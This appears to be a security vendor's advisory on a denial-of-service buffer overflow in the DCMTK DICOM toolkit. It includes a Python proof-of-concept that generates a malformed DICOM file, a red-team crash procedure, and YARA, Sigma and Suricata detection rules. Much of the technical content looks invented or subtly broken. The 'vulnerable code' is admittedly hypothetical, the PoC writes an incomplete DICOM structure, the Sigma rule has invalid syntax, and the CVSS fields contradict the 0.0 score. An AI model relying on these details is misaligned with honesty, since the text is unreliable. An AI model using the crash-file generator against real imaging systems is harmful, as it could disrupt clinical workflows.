CVE-2025-25472

Executive Summary

CVE-2025-25472 is a buffer overflow vulnerability discovered in DCMTK (DICOM Toolkit) git master version v3.6.9+ DEV. The flaw resides in the processing of crafted DICOM (DCM) files, allowing an attacker to cause a Denial of Service (DoS) by triggering a buffer overflow. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation probability at this time. No public exploit code or proof-of-concept is available, and no official patch has been released. The vendor (DCMTK) has been notified but patch status remains unknown.

This vulnerability is particularly relevant for healthcare environments and medical imaging systems that rely on DCMTK for DICOM file parsing. A successful DoS attack could disrupt critical diagnostic workflows.

Supply Chain & Package Security

DCMTK is a widely used open-source library for handling DICOM medical imaging data. It is integrated into numerous medical software stacks, PACS (Picture Archiving and Communication Systems), and research tools. A buffer overflow in the core parsing engine can propagate to any downstream application that uses the vulnerable version. Organizations should inventory their use of DCMTK and assess exposure.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Local (requires crafted DCM file)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): Required (user must open or process the file)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (DoS)
• EPSS Score: 0.0% (low probability of exploitation)
• Threat Level: Medium (due to potential impact on healthcare systems)

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in DCMTK's DICOM file parser. When processing a specially crafted DCM file, the parser fails to validate the size of an input buffer before copying data into it. This leads to memory corruption, which can crash the application (DoS).

Root Cause: The issue is in the dcmdata module, specifically in the handling of DICOM data elements with large or malformed length fields. The parser does not perform proper bounds checking when reading data into a fixed-size buffer.

Attack Vector: An attacker crafts a malicious DCM file with an oversized data element. When the file is opened by a vulnerable DCMTK-based application, the buffer overflow occurs, causing a segmentation fault or memory corruption.

Impact: Denial of Service. The application becomes unresponsive or crashes. In a medical imaging context, this could halt image viewing, processing, or transmission.

Vulnerable vs. Patched Code

Vulnerable Code (DCMTK git master v3.6.9+ DEV):

// Simplified vulnerable snippet
void readElement(DcmItem *item, DcmTagKey &tag, Uint32 length) {
    char buffer[1024];
    // No bounds check on length
    readFromStream(buffer, length); // Buffer overflow if length > 1024
}

Patched Code (Hypothetical fix):

void readElement(DcmItem *item, DcmTagKey &tag, Uint32 length) {
    if (length > MAX_ELEMENT_SIZE) {
        // Handle error or truncate
        return error;
    }
    char buffer[MAX_ELEMENT_SIZE];
    readFromStream(buffer, length);
}

Note: No official patch is available. The above is a conceptual fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• DCMTK git master v3.6.9+ DEV installed
• A DCM file parser (e.g., dcm2xml, dcmj2pnm, or custom application)

Steps:

1. Create a malicious DCM file with an oversized data element (e.g., tag (0008,0005) with length > 1024 bytes).
2. Use a hex editor or DICOM manipulation tool to craft the file.
3. Run the vulnerable application against the file:

   dcm2xml malicious.dcm
   

4. Observe the crash (segmentation fault).

Proof-of-Concept (No public exploit available):

# Conceptual Python script to generate a malformed DCM file
import struct

def create_malicious_dcm(filename):
    # DICOM preamble + header
    preamble = b'\x00' * 128
    prefix = b'DICM'
    # Group 0002, Element 0000 (Meta Information Group Length)
    meta_group_length = struct.pack('<I', 4)
    # Craft a data element with oversized length
    tag_group = 0x0008
    tag_element = 0x0005
    length = 2000  # > 1024 buffer
    data = b'A' * length
    # Write to file
    with open(filename, 'wb') as f:
        f.write(preamble)
        f.write(prefix)
        f.write(struct.pack('<HH', tag_group, tag_element))
        f.write(struct.pack('<I', length))
        f.write(data)

create_malicious_dcm('malicious.dcm')

Blue Team (Defense & Detection)

Detection:

• Monitor for crashes in DCMTK-based applications (e.g., dcm2xml, dcmj2pnm).
• Use file integrity monitoring to detect unexpected DCM files.
• Implement network segmentation for DICOM traffic.

Mitigation:

• Restrict access to DCMTK-based services.
• Use input validation on DICOM file sizes.
• Apply memory protection mechanisms (ASLR, DEP).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; generate upon discovery)
• Network Patterns: DICOM traffic (port 11112) with abnormally large data elements.
• System Logs: Application crash logs, segmentation faults in DCMTK processes.
• File Artifacts: DCM files with data element lengths exceeding 1024 bytes.

Detection Engineering

YARA Rule

rule CVE_2025_25472_DCMTK_Buffer_Overflow {
    meta:
        description = "Detects malicious DCM files exploiting CVE-2025-25472"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25472"
    strings:
        $dicom_magic = "DICM"
        $large_length = { ?? ?? ?? ?? 00 00 08 00 } // Tag (0008,xxxx) with large length
    condition:
        $dicom_magic at 128 and #large_length > 0
}

Sigma Rule

title: DCMTK Buffer Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-25472 via abnormal DCM file processing
author: Valters IT
logsource:
    category: application
    product: dcmtk
detection:
    selection:
        EventID: 1000 (Application Error)
        Image|endswith: '\\dcm2xml.exe' or '\\dcmj2pnm.exe'
    condition: selection
falsepositives:
    - Legitimate large DICOM files
level: high

Suricata Rule

alert tcp any any -> any 11112 (msg:"CVE-2025-25472 DCMTK Buffer Overflow Attempt"; flow:to_server,established; content:"|00 00 08 00|"; depth:132; content:"|00 00 00 00|"; within:4; byte_test:4,>,1024,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate DCMTK-based systems from untrusted networks.
2. Monitor for abnormal DCM file sizes or application crashes.
3. Apply memory protection (ASLR, DEP) on affected systems.

Long-term Fix:

• Await official patch from DCMTK maintainers.
• Consider using alternative DICOM libraries (e.g., GDCM) if patching is delayed.
• Implement input validation in custom applications using DCMTK.

Workaround:

• Use a wrapper script to validate DCM file sizes before processing:

  #!/bin/bash
  if [ $(stat -c%s "$1") -gt 1048576 ]; then
      echo "File too large, rejecting"
      exit 1
  fi
  dcm2xml "$1"
  

Valters IT
Cyber Threat Intelligence Division
Report generated for CVE-2025-25472